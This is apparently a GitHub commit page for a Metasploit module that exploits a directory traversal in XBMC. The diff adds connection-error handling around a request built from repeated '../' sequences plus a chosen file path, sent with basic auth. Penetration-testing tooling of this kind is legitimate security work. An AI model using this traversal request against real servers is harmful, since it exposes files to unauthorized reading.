We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 67c2c3d commit b221711Copy full SHA for b221711
modules/auxiliary/gather/xbmc_traversal.rb
@@ -54,11 +54,16 @@ def run
54
55
# Create request
56
traversal = "../" * datastore['DEPTH'] #The longest of all platforms tested was 9 deep
57
- res = send_request_raw({
58
- 'method' => 'GET',
59
- 'uri' => "/#{traversal}/#{datastore['FILEPATH']}",
60
- 'basic_auth' => "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"
61
- }, 25)
+ begin
+ res = send_request_raw({
+ 'method' => 'GET',
+ 'uri' => "/#{traversal}/#{datastore['FILEPATH']}",
+ 'basic_auth' => "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"
62
+ }, 25)
63
+ rescue Rex::ConnectionRefused
64
+ print_error("#{rhost}:#{rport} Could not connect.")
65
+ return
66
+ end
67
68
# Show data if needed
69
if res
0 commit comments